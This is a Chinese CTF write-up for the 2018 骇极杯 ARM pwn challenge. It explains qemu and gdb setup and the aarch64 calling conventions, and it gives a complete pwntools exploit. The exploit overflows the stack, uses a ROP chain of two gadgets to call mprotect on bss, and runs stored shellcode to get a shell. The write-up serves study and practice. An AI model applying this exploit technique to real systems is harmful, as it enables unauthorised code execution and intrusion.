2018-骇极杯

arm

第一次做arm,花了很多时间,希望整理的详细一点。

环境安装

首先需要安装qemu,和相应的依赖库
qemu

sudo apt-get install qemu

依赖库

sudo apt-get install -y gcc-aarch64-linux-gun g++-aarch64-linux-gnu

合在一起安装不了的话就分开来安装

运行

qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./pwn

-g 1234:给gdb预留的调试端口1234
-L dir :指向BIOS和VGA BIOS所在目录(一般我们使用”-L .”)

调试

^^^
可以挂到socat上,非常方便

socat tcp-l:10002,fork exec:"qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./pwn",reuseaddr

^^^
要用gdb远程调试
在这里插入图片描述
需要安装一下gdb-multiarch

题目分析

  1. 检查保护
@ubuntu:~/Documents/comp/haiji/arm$ checksec pwn
[*] '/home/hu/Documents/comp/haiji/arm/pwn'
    Arch:     aarch64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

并没有什么保护,就是一个简单的栈溢出。
2. 查看主函数
在这里插入图片描述

读两次
第一次先在bss里面存放shellcode
第二次利用rop执行mprotect,使bss有执行权限
3. 找到合适的gadget(用gdb里面rop指令,更全一点)

0x00000000004008cc : ldp x19, x20, [sp, #0x10] ; ldp x21, x22, [sp, #0x20] ; 
ldp x23, x24, [sp, #0x30] ; ldp x29, x30, [sp], #0x40 ; ret
##将栈上面的值载入到
0x00000000004008ac : ldr x3, [x21, x19, lsl #3] ; mov x2, x22 ; mov x1, x23 ;
 mov w0, w24 ; add x19, x19, #1 ; blr x3

对arm的栈帧结构研究了一下,这里主要说说它与x64的不同:
在arm中,
1.没有没有$rbp寄存器
2.函数的返回值放在$x30中,bl就等价与x64的call,只不过是它将bl下一条指令放在了$x30中,当遇见ret指令时,将$x30中的值赋给PC。
exp

from pwn import *
context.log_level='debug'
context.binary='./pwn'
p = remote('127.0.0.1',10002)

'''
0x00000000004008cc : ldp x19, x20, [sp, #0x10] ; ldp x21, x22, [sp, #0x20] ; 
ldp x23, x24, [sp, #0x30] ; ldp x29, x30, [sp], #0x40 ; ret
0x00000000004008ac : ldr x3, [x21, x19, lsl #3] ; mov x2, x22 ; mov x1, x23 ;
 mov w0, w24 ; add x19, x19, #1 ; blr x3
'''
bss=0x0411068
p.recvuntil('Name:')
payload=p64(0x4007e0)+p64(0)+asm(shellcraft.aarch64.sh()) #坑点2
#这里为什么要用0x4007e0,而不是0x400600,在后面揭晓
'''
.plt:0000000000400600 .mprotect
.plt:0000000000400600 ADRP            X16, #off_411030@PAGE
.plt:0000000000400604 LDR             X17, [X16,#off_411030@PAGEOFF]
.plt:0000000000400608 ADD             X16, X16, #off_411030@PAGEOFF
.plt:000000000040060C BR              X17     ; mpr
'''
p.sendline(payload)
payload='a'*(0x40+8)
payload+=p64(0x4008cc)
payload+=p64(0)+p64(0x4008ac)# ldp x29, x30, [sp], #0x40   #坑点1
#将0x4008ac写入$x30,当ret时,返回到0x4008ac
payload+=p64(0)+p64(0)#ldp x19, x20, [sp, #0x10]
payload+=p64(bss)+p64(7)#ldp x21, x22, [sp, #0x20]    
#ldr x3, [x21, x19, lsl #3],因为需要寻址一次,所以必须将mprotect的地址放在bss里面
payload+=p64(0x1000)+p64(0x411000)#ldp x23, x24, [sp, #0x30]
payload+=p64(0)+p64(bss+0x10)#坑点3
p.send(payload)
p.interactive()

这里要着重说一说坑点2、3,想了很久才想明白。

执行到 blr x3,将blr x3下一条指令存入$x30(反正就是回不来了>.<),所以我们在这就需要从新控制$x30,也就是到执行完mprotect后,需要继续执行bss+0x10的shellcode。
在这里插入图片描述
利用LDP X29, X30, [SP],#0x10这条指令
在这里插入图片描述
所以最后payload+=p64(0)+p64(bss+0x10)就使得执行完mprotect后程序转到shell code上了

https://xz.aliyun.com/t/3154#toc-7
https://cloud.tencent.com/developer/article/1376383

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值